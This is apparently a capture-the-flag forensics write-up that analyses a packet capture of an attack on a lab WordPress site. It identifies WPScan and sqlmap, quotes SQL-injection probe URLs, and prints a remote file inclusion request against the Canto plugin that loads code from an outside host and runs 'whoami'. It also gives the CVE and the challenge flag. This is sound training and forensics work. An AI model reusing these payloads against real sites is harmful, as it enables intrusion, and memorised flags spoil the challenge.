

[Hard]

Same file from WordPress - 1

- Q1. Mention the names of the tools that the attacker used in the attack. (alphabetical order)
- Q2. There was a vulnerable plugin that the attacker exploited. What is the C2 server of the attacker, and what is the name of the plugin?
- Q3. What is the version of the vulnerable plugin, and what is the CVE number associated with that plugin?

Flag Format 0xL4ugh{A1_A2_A3}

Example: 0xL4ugh{tool1_tool2_C2_PluginName_1.2.3_CVE--}

Solution:

lused (ip.src == 192.168.204.132) && http.request to check the requests from the attacker again...

```
Wordpress.pcapng
<u>File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help</u>
Current filter: (ip.src == 192.168.204.132) && http.request
           Time
                                                            Destination
                                                                                                          Protocol Length
                                                                                                                                 Info
                                     Source
                                                                                 Port
                                                                                                                             269 GET /wordpress/ HTTP/1.1
      6295 127.285896
                                     192.168.204.132
                                                            192.168.204.128
                                                                                 192.168.204.128,80
                                                                                                          HTTP
      6314 128.367176
                                     192.168.204.132
                                                            192.168.204.128
                                                                                 192.168.204.128,80
                                                                                                          HTTP
                                                                                                                             269 GET /wordpress/ HTTP/1.1
      6332 129.288687
                                     192.168.204.132
                                                            192.168.204.128
                                                                                 192.168.204.128,80
                                                                                                          HTTP
                                                                                                                             270 HEAD /wordpress/ HTTP/1.1
                                     192.168.204.132
      6336 130.330197
                                                            192.168.204.128
                                                                                 192.168.204.128,80
                                                                                                          HTTP
                                                                                                                             281 GET /wordpress/2d96fee.html HTTP/1.1
      6479 135.891580
                                     192.168.204.132
                                                            192.168.204.128
                                                                                192.168.204.128,80
                                                                                                          HTTP
                                                                                                                             280 HEAD /wordpress/robots.txt HTTP/1.1
      6526 136 596009
                                     192 168 204 132
                                                            192 168 204 128
                                                                                192 168 204 128 80
                                                                                                                             294 HFAD /wordnress/fantastico fileslist tvt HTTP/1 1
  Frame 6295: 269 bytes on wire (2152 bits), 269 bytes captured (2152 bits) on interface \Device\NPF_{8EBE20A8-B2DE-46D2-A5C0-2DF9675A14B8}, id 0
  Ethernet II, Src: VMware_34:9a:b8 (00:0c:29:34:9a:b8), Dst: VMware_fc:b7:5a (00:0c:29:fc:b7:5a)
  Internet Protocol Version 4, Src: 192.168.204.132, Dst: 192.168.204.128
Transmission Control Protocol, Src Port: 53836, Dst Port: 80, Seq: 1, Ack: 1, Len: 215
  Hypertext Transfer Protocol
   GET /wordpress/ HTTP/1.1\r\n
      [Expert Info (Chat/Sequence): GET /wordpress/ HTTP/1.1\r\n]
        Request Method: GET
        Request URI: /wordpress/
        Request Version: HTTP/1.1
     Host: 192.168.204.128\r\n
     Accept: */*\r\n
     Accept-Encoding: gzip, deflate\r\n
     User-Agent: WPScan v3.8.25 (https://wpscan.com/wordpress-security-scanner)\r\n
     Referer: http://192.168.204.128/wordpress\r\n
     [HTTP request 1/8]
```

Most, if not all, tools out there makes use of the User-Agent for tagging

So we have User-Agent: WPScan v3.8.25 (https://wpscan.com/wordpress-security-scanner)\r\n

The last couple of packets has the following...

```
Wordpress.pcapng
<u>File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help</u>
Destination
                                                                         Port
                                                                                                Protocol Length
                                 192.168.204.132
                                                                                                                 273 GET /wordpress%27.%2C%2C%29%2C%22.%28%29 HTTP/1.1
   219163 1275.237876
                                                      192.168.204.128
                                                                         192.168.204.128,80
                                                                                                                 274 GET /wordpress%27HU1Bzz%3C%27%22%3ETUKfwY HTTP/1.1
   219195 1275.274598
                                 192.168.204.132
                                                      192.168.204.128
                                                                         192.168.204.128,80
                                                                                               HTTP
                                                                                                                 293 GET /wordpress%29%20AND%209453%3D6284%20AND%20%286709%3D6709 HTTP/1.1
                                                      192.168.204.128
   219228 1275.320686
                                 192.168.204.132
                                                                         192.168.204.128,80
                                                                                                HTTP
                                                                                                                 293 GET /wordpress%29%20AND%204067%3D4067%20AND%20%288891%3D8891 HTTP/1.1
   219255 1275.358277
                                 192.168.204.132
                                                      192.168.204.128
                                                                         192.168.204.128,80
                                                                                                HTTP
   219266 1275.367594
                                 192.168.204.132
                                                                                                                 267 GET /wordpress%20AND%206245%3D5530 HTTP/1.1
                                                      192.168.204.128
                                                                         192.168.204.128,80
                                                                                                HTTP
  219287 1275.384359
                                 192.168.204.132
                                                                                                                 267 GET /wordpress%20AND%204067%3D4067 HTTP/1.1
                                                                         192.168.204.128,80
                                                                                                HTTP
                                                      192.168.204.128
                                 107 168 704 137
                                                      102 168 204 128
                                                                         107 168 704 178 80
                                                                                                                 マスち GET /wondonereをつうぞうなどつなんNDぞうなマスなマミなマロスなりの人NDぞうなぞうアクロのぞうフをマロぞうファム
 Frame 219163: 273 bytes on wire (2184 bits), 273 bytes captured (2184 bits) on interface \Device\NPF_{8EBE20A8-B2DE-46D2-A5C0-2DF9675A1488}, id 0
                                                                                                                                                                       0000 00 0c 29 fc b7
  Ethernet II, Src: VMware_34:9a:b8 (00:0c:29:34:9a:b8), Dst: VMware_fc:b7:5a (00:0c:29:fc:b7:5a)
                                                                                                                                                                       0010 01 03 1d 99 40
  Internet Protocol Version 4, Src: 192.168.204.132, Dst: 192.168.204.128
                                                                                                                                                                       0020 cc 80 83 9a 00
  Transmission Control Protocol, Src Port: 33690, Dst Port: 80, Seq: 1, Ack: 1, Len: 219
                                                                                                                                                                            01 f6 55 c9 00
  Hypertext Transfer Protocol
                                                                                                                                                                        040 72 65 73 73 25
  GET /wordpress%27.%2C%2C%29%2C%22.%28%29 HTTP/1.1\r\n
                                                                                                                                                                        0050 39 25 32 43 25
       [Expert Info (Chat/Sequence): GET /wordpress%27.%2C%2C%29%2C%22.%28%29 HTTP/1.1\r\n]
                                                                                                                                                                       0070 6f 6e 74 72 6f
       Request Method: GET
       Request URI: /wordpress%27.%2C%2C%29%2C%22.%28%29
                                                                                                                                                                       0080 0d 0a 55 73
                                                                                                                                                                       0090 6c 6d 61 70
      Request Version: HTTP/1.1
    Cache-Control: no-cache\r\n
    User-Agent: sqlmap/1.7.12#stable (https://sqlmap.org)\r\n
                                                                                                                                                                       00b0 61 70 2e 6f
    Host: 192.168.204.128\r\n
                                                                                                                                                                       00d0 41 63 63 65 70
    Accept: */*\r\n
    Accept-Encoding: gzip,deflate\r\n
                                                                                                                                                                       00e0 65 70 74 2d 45
                                                                                                                                                                       00f0 69 70 2c 64 65
    Connection: close\r\n
                                                                                                                                                                      0100 65 63 74 69 6f
                                                                                                                                                                       0110 0a
     [HTTP request 1/1]
```

User-Agent: sqlmap/1.7.12#stable (https://sqlmap.org)\r\n

So Q1 is sqlmap_WPScan

For Q2, I tried to look for plugin related attacks but couldn't find any using the filter earlier.

Solused (http) && !(http.host == "tlu.dl.delivery.mp.microsoft.com" | tcp.dstport == 80) && (ip.src == 192.168.204.128) (excluded Microsoft related requests)

The last few packets are interesting...

```
Wordpress.pcapng
 Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
(http) && !(http.host == "tlu.dl.delivery.mp.microsoft.com" || tcp.dstport == 80) && (ip.src == 192.168.204.128)
                                                                                                    Protocol Length
                                                                                                                          Info
                                                       Destination
 231492 1326.811370
                                 192.168.204.128
                                                        192.168.204.132
                                                                            36564
                                                                                                    HTTP
                                                                                                                      559 HTTP/1.1 404 Not Found (text/html)
 231499 1326.815110
                                 192.168.204.128
                                                        192.168.204.132
                                                                            36554
                                                                                                    HTTP
                                                                                                                      559 HTTP/1.1 404 Not Found (text/html)
 235881 1347.617323
                                 192.168.204.128
                                                        172.26.211.155
                                                                            172.26.211.155:8000,8... HTTP
                                                                                                                      136 GET /wp-admin/admin.php HTTP/1.1
 235935 1347.764043
                                192.168.204.128
                                                                                                                      657 HTTP/1.1 200 OK (text/html)
                                                       192.168.204.1
                                                                                                   HTTP
                                                                           17205
 236911 1353.053056
                                 192.168.204.128
                                                                           172.26.211.155:8000,8... HTTP
                                                                                                                      136 GET /wp-admin/admin.php HTTP/1.1
                                                       172.26.211.155
 236919 1353.185192
                                                                                                                      626 HTTP/1.1 200 OK (text/html)
                                 192.168.204.128
                                                       192.168.204.1
                                                                           17206
                                 192.168.204.128
 240366 1369.554580
                                                       172.26.211.155
                                                                           172.26.211.155:8000,8... HTTP
                                                                                                                      136 GET /wp-admin/admin.php HTTP/1.1
                                 192.168.204.128
 240445 1369.704072
                                                       192.168.204.1
                                                                           17259
                                                                                                                      626 HTTP/1.1 200 OK (text/html)
Frame 235935: 657 bytes on wire (5256 bits), 657 bytes captured (5256 bits) on interface \Device\NPF_{8EBE20A8-B2DE-46D2-A5C0-2DF9675A14B8}, id 0
Ethernet II, Src: VMware_fc:b7:5a (00:0c:29:fc:b7:5a), Dst: VMware_c0:00:08 (00:50:56:c0:00:08)
Internet Protocol Version 4, Src: 192.168.204.128, Dst: 192.168.204.1
Transmission Control Protocol, Src Port: 80, Dst Port: 17205, Seq: 1, Ack: 719, Len: 603
Hypertext Transfer Protocol
  HTTP/1.1 200 OK\r\n
   [Expert Info (Chat/Sequence): HTTP/1.1 200 OK\r\n]
     Response Version: HTTP/1.1
     Status Code: 200
     [Status Code Description: OK]
     Response Phrase: OK
  Date: Wed, 17 Jan 2024 22:02:20 GMT\r\n
  Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12\r\n
  X-Powered-By: PHP/8.2.12\r\n
  Content-Length: 348\r\n
     [Content length: 348]
  Keep-Alive: timeout=5, max=100\r\n
  Connection: Keep-Alive\r\n
  Content-Type: text/html; charset=UTF-8\r\n
   [HTTP response 1/1]
   [Time since request: 0.153608000 seconds]
   [Request URI: http://192.168.204.128/wordpress/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://172.26.211.155:8000&cmd=whoami]
Line-based text data: text/html (6 lines)
  desktop-2r3ar22\administrator\r\n
  <b>Fatal error</b>: Uncaught Error: Call to undefined function sanitize_text_field() in C:\xampp\htdocs\wordpress\wp-content\plugins\canto\includes\lib\download.php:7\
  Stack trace:\n
  #0 {main}\n
    thrown in $<b>C:\times p\\ htdocs\\ wordpress\\ wp-content\\ plugins\\ canto\\ includes\\ lib\\ download.php</b> on line $<b>7</b><br/>hr /> line $<b/r>
```

A reugest was done to http://192.168.204.128/wordpress/wp-content/plugins/canto/includes/lib/download.php? wp_abspath=http://172.26.211.155:8000&cmd=whoami

This is likely the vulnerable plugin!

So the answer for Q2 is 172.26.211.155:8000_canto

Finally, let's go to Q3!

Searching for "canto" "wp_abspath" lead to the following:

https://nvd.nist.gov/vuln/detail/CVE-2023-3452 https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/canto/canto-304unauthenticated-remote-file-inclusion

I couldn't find any mention of the canto version in the network requests, so I decided to use the version mentioned in the advisory: 3.0.4_CVE-

2023-3452 So overall, the flag is 0xL4ugh{sqlmap_WPScan_172.26.211.155:8000_canto_3.0.4_CVE-2023-3452}

However, it didn't work, so I tried to remove the port number from the C2 in case the author wants the IP address only....

Flag: 0xL4ugh{sqlmap_WPScan_172.26.211.155_canto_3.0.4_CVE-2023-3452} and it worked! lol